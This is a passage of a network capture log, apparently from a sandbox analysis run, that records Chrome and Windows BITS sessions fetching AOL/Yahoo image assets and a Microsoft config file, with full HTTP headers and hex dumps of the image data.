2024-05-23 22:34:19 UTC	414	IN	Data Raw: b1 07 a5 57 7a 3d fa 09 c5 0a e0 cb 75 1e 03 48 62 e4 13 e3 3e 57 72 ac 19 d8 55 a2 a0 24 de ae 9a 47 d9 f0 cd 3a 67 91 fd f4 a0 13 cb a2 7e 08 41 01 f8 08 f5 8d ab 06 f2 7b fc 4e b4 ed 25 c7 f2 d9 d1 2e c1 b6 1d 51 56 b6 a1 7d b5 ac 4c 26 5b f5 f6 7a 22 3f d9 bd 0a 4f a2 44 ea ca 9c fb 4d e3 08 4a cc 5a 28 00 ab 5b 91 e8 6c b1 c7 20 b6 11 37 26 38 08 7c db a3 fd 28 54 1a 9f 85 1d 68 ef af 0f 13 b6 e4 ab 12 47 d0 ff 35 0b 65 ac ad 24 b8 c7 43 09 b5 2b 8f 56 62 0b 6f 6e 02 1e 6a 45 5b 25 fa e8 ba 37 10 5f 36 9b 96 c8 cb c2 15 b8 cd fc 6e 43 25 6f 5f c4 5e e0 91 c6 4f 51 82 f2 2a fc 6f bf 43 71 4f 0d 8c a1 f6 a6 73 05 b4 34 f6 98 83 dd 1f a1 c4 2a 43 d0 da 60 0f ee c1 da 50 e4 50 79 3c 8a 64 3b 3a 83 66 e3 ee c4 05 24 ef 38 09 37 5d d3 4e e0 e3 e8 09 12 17 Data Ascii: Wz=uHb>WrU$G:g~A{N%.QV}L&[z"?ODMJZ([l 7&8\|(ThG5e$C+VbonjE[%7_6nC%o_^OQoCqOs4C`PPy<d;:f$87]N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:20 UTC	611	OUT	GET /wm/mbr/images/checkbox-unchecked.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://testing-1g0.pages.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:20 UTC	805	IN	HTTP/1.1 200 OK x-amz-id-2: wU4GX8gjpTjA09Y6u4O1rrC4lbyL/nnu1cJBnF57a34+fQ8yRU2OT60P0g7uPx1sk7yIfgYV8Ms5U9lnMPGkgw== x-amz-request-id: ZP7JV3ZTAFWBMPQP Date: Sun, 28 Apr 2024 12:02:08 GMT Last-Modified: Fri, 24 Apr 2020 17:13:52 GMT ETag: "f456007284e4510464d9dfddabd3fb0e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 733 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2197933 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:20 UTC	733	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 53 6b 65 74 63 68 20 35 39 20 28 38 36 31 32 37 29 20 2d 20 68 74 74 70 73 3a 2f 2f 73 6b 65 74 63 68 2e 63 6f 6d 20 2d 2d 3e 0a 20 20 20 20 3c 74 69 74 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> ... Generator: Sketch 59 (86127) - https://sketch.com --> <tit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49716	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:20 UTC	381	OUT	GET /wm/assets/images/ybar/aol-logo-white-v0.0.4.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:21 UTC	1050	IN	HTTP/1.1 200 OK x-amz-id-2: nUtI1419iUre5tSZHehQ5qOvw5fvnQ5fzyxSsJm2Lrv2b1aNYGq7Up2m71l8nwcEItbu4QD7m3I= x-amz-request-id: MVZY1APZXKX5SAD6 Date: Sun, 21 Apr 2024 05:46:00 GMT Last-Modified: Thu, 03 May 2018 20:51:15 GMT ETag: "f0d2ba5c63ab03f3b53158f293f651c7" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-meta-created-date: Wed, 18 Apr 2018 19:01:42 GMT x-amz-meta-mbst-etag: "YM:1:d32351c9-ea78-46c0-b7a5-1066118ae37d00056a2415eb6ba6" x-amz-meta-x-ysws-mbst-vtime: 1524078102670246 Expires: Fri, 03 May 2019 20:51:13 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 4314 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2825301 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 3c 08 06 00 00 00 84 86 43 6a 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 06 be 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDR<CjpHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RD
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 38 64 61 66 32 64 38 32 2d 62 35 31 38 2d 34 36 38 61 2d 39 38 33 35 2d 38 34 63 36 39 64 33 64 66 33 63 38 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 31 38 2d 30 34 2d 31 33 54 31 31 3a 35 36 3a 31 32 2d 30 37 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 28 4d 61 63 69 6e 74 6f 73 68 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 65 63 38 35 35 30 Data Ascii: t:action="saved" stEvt:instanceID="xmp.iid:8daf2d82-b518-468a-9835-84c69d3df3c8" stEvt:when="2018-04-13T11:56:12-07:00" stEvt:softwareAgent="Adobe Photoshop CC (Macintosh)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:4ec8550
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: c9 86 76 0f a1 25 0f 80 83 c0 bd 06 1b b3 81 a1 86 76 e5 7c 14 38 36 80 9d 18 b4 a1 3c da d8 7a 0f c4 8a d5 b1 ae c1 fd cb 2d 20 c7 1a c8 3a 43 df a7 00 6f 31 b4 1b c8 eb d1 cc d4 97 a7 d1 12 cd 3d 28 f0 5e 83 fe a7 bf 06 b0 7d 2a b6 18 76 70 90 24 89 eb 6b 4a 92 24 07 12 77 76 26 49 32 a6 cc d6 d8 e2 df 5d e9 31 8c bb f4 1a 96 24 c9 83 86 3e 07 b2 27 49 92 9b 93 24 99 56 a5 8f 71 49 92 2c 4b 92 64 93 67 3f 87 92 24 99 50 a5 8f d2 ab c5 d0 cf c1 24 49 66 d5 b0 eb f5 b2 5c b1 2e 47 ab f9 ae 3c 82 6e 7f 03 f9 47 f1 ef ae cc c4 be e8 dd 0d bc d1 d8 16 54 3d 7c 3e 70 03 ba 5a 55 62 1f f0 55 b4 80 ee b3 65 40 07 fa bc 1b 0e 57 c7 1a 8a 6d 7d ab 1f f8 55 95 f7 f6 18 ec 8d c4 7e 9b 98 6e 6c 07 70 27 4a d4 fe 31 e3 f1 09 b0 02 bf c4 eb 12 a4 ee 68 28 5c 1d eb 0c Data Ascii: v%v\|86<z- :Co1=(^}*vp$kJ$wv&I2]1$>'I$VqI,Kdg?$P$If\.G<nGT=\|>pZUbUe@Wm}U~nlp'J1h(\
2024-05-23 22:34:21 UTC	414	IN	Data Raw: b1 07 a5 57 7a 3d fa 09 c5 0a e0 cb 75 1e 03 48 62 e4 13 e3 3e 57 72 ac 19 d8 55 a2 a0 24 de ae 9a 47 d9 f0 cd 3a 67 91 fd f4 a0 13 cb a2 7e 08 41 01 f8 08 f5 8d ab 06 f2 7b fc 4e b4 ed 25 c7 f2 d9 d1 2e c1 b6 1d 51 56 b6 a1 7d b5 ac 4c 26 5b f5 f6 7a 22 3f d9 bd 0a 4f a2 44 ea ca 9c fb 4d e3 08 4a cc 5a 28 00 ab 5b 91 e8 6c b1 c7 20 b6 11 37 26 38 08 7c db a3 fd 28 54 1a 9f 85 1d 68 ef af 0f 13 b6 e4 ab 12 47 d0 ff 35 0b 65 ac ad 24 b8 c7 43 09 b5 2b 8f 56 62 0b 6f 6e 02 1e 6a 45 5b 25 fa e8 ba 37 10 5f 36 9b 96 c8 cb c2 15 b8 cd fc 6e 43 25 6f 5f c4 5e e0 91 c6 4f 51 82 f2 2a fc 6f bf 43 71 4f 0d 8c a1 f6 a6 73 05 b4 34 f6 98 83 dd 1f a1 c4 2a 43 d0 da 60 0f ee c1 da 50 e4 50 79 3c 8a 64 3b 3a 83 66 e3 ee c4 05 24 ef 38 09 37 5d d3 4e e0 e3 e8 09 12 17 Data Ascii: Wz=uHb>WrU$G:g~A{N%.QV}L&[z"?ODMJZ([l 7&8\|(ThG5e$C+VbonjE[%7_6nC%o_^OQoCqOs4C`PPy<d;:f$87]N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49715	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 22:34:21 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=236131 Date: Thu, 23 May 2024 22:34:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49717	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:20 UTC	380	OUT	GET /wm/assets/images/ns/aol-logo-black-v.0.0.2.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:21 UTC	1051	IN	HTTP/1.1 200 OK x-amz-id-2: WOTgTWd/RMs2ma4sejJGS/L9ImwaoSzYd3OYP8P5U6l5tNIYRam/VhH25cHLbpb8PoTPeAQhLiw= x-amz-request-id: HWWPFG87BBH4Y3QG Date: Thu, 16 May 2024 15:11:42 GMT Last-Modified: Fri, 04 May 2018 01:23:57 GMT ETag: "f9e0f24b60732cd95150a37fb003b871" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000; public x-amz-meta-created-date: Thu, 16 Nov 2017 19:59:27 GMT x-amz-meta-mbst-etag: "YM:1:3570f846-88d6-4c90-bd91-179d937c363c00055e1f0ebaf172" x-amz-meta-x-ysws-mbst-vtime: 1510862367682930 Expires: Sat, 04 May 2019 01:23:56 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 16340 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 631360 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 0e 00 00 01 39 08 06 00 00 00 39 a2 77 71 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 cb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 58 4d 50 20 43 6f 72 65 20 35 2e 34 2e 30 22 3e 0a 20 20 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 0a 20 20 20 20 20 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: PNGIHDR99wqsRGBiTXtXML:com.adobe.xmp<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 80 00 04 20 50 24 01 12 87 fc c2 5e e7 e7 d2 2c 1e 55 1a 25 cc 32 12 83 40 00 02 10 80 00 04 20 00 81 04 09 90 38 24 18 b4 1b 26 d7 da c7 8f a2 6f 00 ba b3 8b b7 35 77 00 b1 1b 02 10 80 00 04 20 00 81 72 09 90 38 e4 15 7b 3e b7 19 17 cf 7a 5c 77 7a 43 00 02 10 80 00 04 20 00 81 7c 09 90 38 e4 13 db 20 57 aa 7c dc 59 c4 13 7e 24 bd 08 76 06 85 00 04 20 00 01 08 40 20 05 02 24 0e 29 44 a9 9b 8d 7c 66 d3 8d d3 bd 56 bc b5 b9 47 88 fd 10 80 00 04 20 00 01 08 14 49 80 c4 21 8f b0 f3 a4 3c 5e 1c 2b a9 0a f1 d4 a1 09 02 10 80 00 04 20 00 01 08 e4 41 80 c4 21 8f 38 6e e4 06 3f 8a 8e 17 cb 3a 9e 2a 34 41 00 02 10 80 00 04 20 00 81 3c 08 90 38 e4 11 47 3e 53 8a 1b 47 3e 57 8a cb 13 6d 10 80 00 04 20 00 01 08 64 40 80 c4 21 fd 20 ae e5 82 09 25 1e 81 20 55 f6 16 87 Data Ascii: P$^,U%2@ 8$&o5w r8{>z\wzC \|8 W\|Y~$v @ $)D\|fVG I!<^+ A!8n?:*4A <8G>SG>Wm d@! % U
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: f8 09 55 25 53 82 1f 73 b0 64 00 01 8b df 7a 40 3f ba 40 00 02 10 80 00 04 20 00 01 f7 04 48 1c fc 84 88 1f d7 fa 89 c5 18 4b 78 eb 30 86 1e 7d 21 00 01 08 40 00 02 10 70 4b 80 c4 c1 47 68 ec 77 0d b5 0f 53 b0 62 24 81 8d fa f3 3b 95 91 10 e9 0e 01 08 40 00 02 10 80 80 3f 02 7f f5 67 52 91 16 d5 45 7a 9d a7 d3 96 34 58 f2 b0 cd d3 3d bc 82 c0 64 04 ec dc 59 3f d1 1e b4 6e 32 a6 34 4f 3a 1f b4 be 7f b2 cd 2a 04 20 00 01 08 f4 24 40 e2 d0 13 d8 44 cd f9 bc 65 22 b0 0b a9 b5 78 6e 17 1a 9b 61 21 e0 91 c0 31 29 08 32 ce e4 7f 25 c7 24 a1 d2 fa 54 e5 ed 15 c5 ad ea 4d 2c 99 f8 f7 e3 d2 92 0a db b6 25 05 02 10 80 00 04 2e 10 20 71 b8 00 65 e6 aa 4a e3 85 99 c7 64 b8 69 09 ac a5 de 84 09 c8 b4 9c d1 ee 8f c0 4a 26 1d 8f ff bf 6b 3d 3c 6e 5b bd a7 12 64 8c 89 95 Data Ascii: U%Ssdz@?@ HKx0}!@pKGhwSb$;@?gREz4X=dY?n24O:* $@De"xna!1)2%$TM,%. qeJdiJ&k=<n[d
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: a2 89 b6 83 a7 cb d1 50 66 a5 88 b7 50 59 85 33 9a 33 2b 69 b2 a7 c5 36 e9 a3 40 60 2c 81 e3 5b ab 7a ac 22 fa 43 00 02 10 30 02 24 0e d3 1e 07 36 09 a8 a7 1d 02 ed 89 12 e0 b8 48 34 70 13 9a 5d 49 f7 67 89 2d 29 10 88 45 c0 ee 43 1f 1e c5 d6 29 10 80 00 04 06 13 20 71 18 8c ae 53 c7 ba 53 2b 1a 95 48 80 a4 b2 c4 a8 5f f7 f9 8d 76 d9 9b 06 26 76 d7 19 b1 67 1c 81 5a dd ed 18 0b 12 0a 04 20 00 81 41 04 48 1c 06 61 eb dc 89 cf 51 4e 51 fd ac cd f6 b4 aa e8 ad 97 45 7b 8f f3 46 c0 12 05 7b 1a fc ce 36 28 10 98 98 c0 5a fa ed 77 0f d5 c4 e3 a0 1e 02 10 c8 94 00 89 c3 74 81 ad a4 3a 4c a7 3e 39 cd ad 2c 7e 90 ec 24 94 af 04 2a 2d c2 d7 55 fe 2d 90 80 25 0d f6 04 b8 2e d0 77 5c 5e 8e 00 c7 dd 72 ec 19 19 02 c9 13 20 71 98 2e 84 3c 4d 3e 65 7b 4c 18 7e 3b ad 2e Data Ascii: PfPY33+i6@`,[z"C0$6H4p]Ig-)EC) qSS+H_v&vgZ AHaQNQE{F{6(Zwt:L>9,~$*-U-%.w\^r q.<M>e{L~;.
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 80 40 21 04 48 1c 86 05 3a a8 9b 3d 0d a6 9c 13 f8 78 5e d5 a9 a6 51 ab 43 a7 96 65 35 22 41 f5 13 ef 20 53 f8 5d 83 9f 78 60 89 1f 02 f6 06 ee ad 1f 73 b0 04 02 10 98 8a 00 89 c3 30 b2 f5 b0 6e d9 f7 b2 89 ff 7e 84 97 bb 11 7d 73 ed 1a e4 d8 26 57 e7 12 f3 8b a7 aa 89 05 0c 73 67 25 f0 46 a3 55 b3 8e c8 60 10 80 c0 ec 04 48 1c 86 21 e7 29 f0 65 6e 63 27 fe 7d ff 1a d3 65 2b f2 ab e5 78 5b 3e a6 4c 8a 96 8f 01 16 f8 27 f0 8b 4c 5c f9 37 13 0b 21 00 81 a1 04 48 1c fa 93 db a8 4b e8 df ad 88 1e 63 7f a7 30 36 f1 c8 15 32 c7 dc b2 91 0d 1a 9e cf 30 96 8d 01 a3 a7 41 c0 92 06 7b 33 47 81 00 04 32 25 40 e2 d0 3f b0 3c fd bd ce ac b9 be ab d3 9e 83 5a 8d d5 d1 69 a0 04 1b d5 09 da 9c 8b c9 36 11 b2 09 11 05 02 10 b8 4f c0 1e 74 54 f7 9b d1 02 02 10 48 91 00 89 Data Ascii: @!H:=x^QCe5"A S]x`s0n~}s&Wsg%FU`H!)enc'}e+x[>L'L\7!HKc0620A{3G2%@?<Zi6OtTH
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 98 fc 5e 67 73 6b 4f ad 9d e1 56 03 f6 f5 26 60 d7 86 7f 48 1e 24 29 26 0c 32 fb a4 34 da b2 e4 e1 95 24 07 7f e4 86 9b c2 03 3a 37 a1 c0 10 08 74 27 40 e2 70 ce aa 56 d5 ea bc 9a 9a 27 04 e6 9e c8 37 4f c6 66 f5 9c 40 ad 2a 8e d9 73 2e f7 6a 48 b8 ee 11 ea be bf 55 53 9b 60 ff 53 62 eb b9 95 ad 1c fa 4e f2 3e 37 c7 16 f4 27 68 ec cd 82 e3 33 34 04 20 30 80 00 89 c3 39 34 26 13 e7 4c 9e d7 ec 9e 57 4c bc 7d 90 fe b9 c7 9c d8 a5 e8 ea eb e8 1a f3 56 b8 96 7b 55 de 2e ce e6 dd 56 23 d9 5b 86 46 92 73 b1 eb d0 4f 12 4b 90 6c 9d 32 9e 00 f7 db f1 0c d1 00 81 59 09 90 38 9c e2 0e da ac 4e ab d8 7a 46 60 a9 09 fc 6f cf ec 60 f3 94 00 37 e0 53 1e f7 b6 f8 4c e2 1e a1 fb fb 6d f2 6c 6f 18 5e 49 4a 9a 48 37 f2 d7 de 3e 2c 75 2d d4 d0 d9 94 8d 3c 09 d9 78 83 23 10 Data Ascii: ^gskOV&`H$)&24$:7t'@pV'7Of@*s.jHUS`SbN>7'h34 094&LWL}V{U.V#[FsOKl2Y8NzF`o`7SLmlo^IJH7>,u-<x#
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 70 49 8e c4 5b c2 24 c3 86 d1 25 10 28 31 71 a8 15 58 9b 4c 50 ee 13 f0 3e 31 6f ee bb 40 0b 11 d8 14 4c a1 2a d8 f7 2e ae 6f d5 68 df a5 21 6d a2 12 20 59 bb 8d 73 7d 7b 37 7b 21 00 81 a5 08 94 98 38 f0 a3 e8 ee 47 db ae 7b d3 45 5a 1e 34 aa 77 1b 17 01 f3 6c d0 95 b6 eb 67 75 a5 6c f2 e4 f2 76 a4 f9 b1 ee 6d 3e 53 ed 6d a5 78 3b 95 f2 0c f4 ae e5 83 5d b7 28 10 80 80 33 02 a5 25 0e 41 fc 2b 67 31 f0 6a 4e 2a 13 f2 df bc 02 74 66 57 a9 09 b3 4d 40 28 97 09 6c 55 dd 5e de 45 ed 0c 04 48 da 6e 43 ae 6e ef 66 2f 04 20 b0 04 81 d2 12 87 92 bf f5 ee 7b 7c 79 ff 4c e9 e8 4f 2a 09 ce d1 de a5 96 95 06 0e 4b 0d be e0 b8 d5 82 63 7b 1f 9a 89 eb b2 11 6a 35 fc 76 59 13 5c 8f 4e d2 ef 3a 3c 18 57 2a 81 d2 12 87 ba d4 40 0f f0 bb 19 d0 67 89 2e ad 06 dd 2f 31 70 82 Data Ascii: pI[$%(1qXLP>1o@L.oh!m Ys}{7{!8G{EZ4wlgulvm>Smx;](3%A+g1jNtfWM@(lU^EHnCnf/ {\|yLOKc{j5vY\N:<W@g./1p
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: c4 c1 92 86 d5 12 10 13 1e d3 26 d6 87 84 ed bf 67 7a ae 6f 53 ee f9 3d 74 3f 9f 2b 0d 25 e7 bb df 7f 7c 9b 87 75 cf 08 b4 cf b6 d9 84 00 04 20 e0 86 40 4e 89 03 9f 29 f5 3f ac 3e f6 ef 92 54 8f 5d 52 d6 2e 6f 6c 90 09 9b e5 cd c0 02 08 40 00 02 10 80 00 04 3c 12 c8 25 71 58 0b ae 09 a5 1f 81 a6 5f f3 e4 5a ef 65 71 9b 9c d5 cb 1a cc 5b 87 65 f9 33 3a 04 20 00 01 08 40 c0 2d 81 5c 12 07 de 36 f4 3f c4 5a 75 b1 89 75 ee a5 c9 dd c1 c8 fe 6d a4 2f 44 d6 89 3a 08 40 00 02 10 80 00 04 32 20 90 43 e2 b0 52 1c 6c b2 43 e9 47 60 d7 af 79 b2 ad f9 9d 43 ff d0 d5 fd bb d0 03 02 10 80 00 04 20 00 81 dc 09 e4 90 38 58 d2 60 c9 03 a5 1f 81 df fa 35 4f b6 75 29 09 52 cc 00 f1 b9 52 4c 9a e8 82 00 04 20 00 01 08 64 42 20 87 c4 81 cf 94 fa 1f 8c 07 75 29 69 42 5d 92 af Data Ascii: &gzoS=t?+%\|u @N)?>T]R.ol@<%qX_Zeq[e3: @-\6?Zuum/D:@2 CRlCG`yC 8X`5Ou)RRL dB u)iB]
2024-05-23 22:34:21 UTC	1300	IN	Data Raw: 38 5e 4a 43 71 fe a6 14 2d 6c 2d 86 80 e7 c4 a1 2e 26 0a 38 0a 81 34 09 78 ff fd 51 2b ac 87 34 d1 4e 6e 75 d0 08 f5 e4 a3 30 c0 3d 02 24 70 d7 09 f1 9f 38 5e 67 c3 1e 08 2c 46 c0 73 e2 e0 7d 52 b2 58 d0 18 18 02 4e 08 04 d9 51 39 b1 e5 9a 19 cd b5 1d d4 bf 60 d2 ba ec 41 50 6b f8 b0 ac 09 ae 47 6f 5c 5b 87 71 10 28 94 80 d7 c4 a1 52 3c 42 a1 31 c1 6d 08 a4 44 c0 fb f7 d9 fc 40 fa fa d1 14 b4 ab be be 9b 3d 13 13 20 71 bb 0d 98 4f 95 6e f3 61 2f 04 16 21 e0 35 71 f0 3e 19 59 24 58 0c 0a 01 87 04 36 b2 69 e5 d0 ae a3 49 4c 3e 8e 24 2e 2f 99 bc 5e e6 32 75 6d ad 01 c2 d4 83 24 ac bf 49 d8 76 4c 87 40 d6 04 3c 26 0e 36 09 a9 b3 a6 8e 73 10 c8 87 80 9d af 1b c7 ee 34 8e 6d f3 60 5a 90 11 0f 1e 0c 29 c8 06 3b 67 de 15 e4 ef 10 57 79 53 38 84 1a 7d 20 30 03 01 Data Ascii: 8^JCq-l-.&84xQ+4Nnu0=$p8^g,Fs}RXNQ9`APkGo\[q(R<B1mD@= qOna/!5q>Y$X6iIL>$./^2um$IvL@<&6s4m`Z);gWyS8} 0
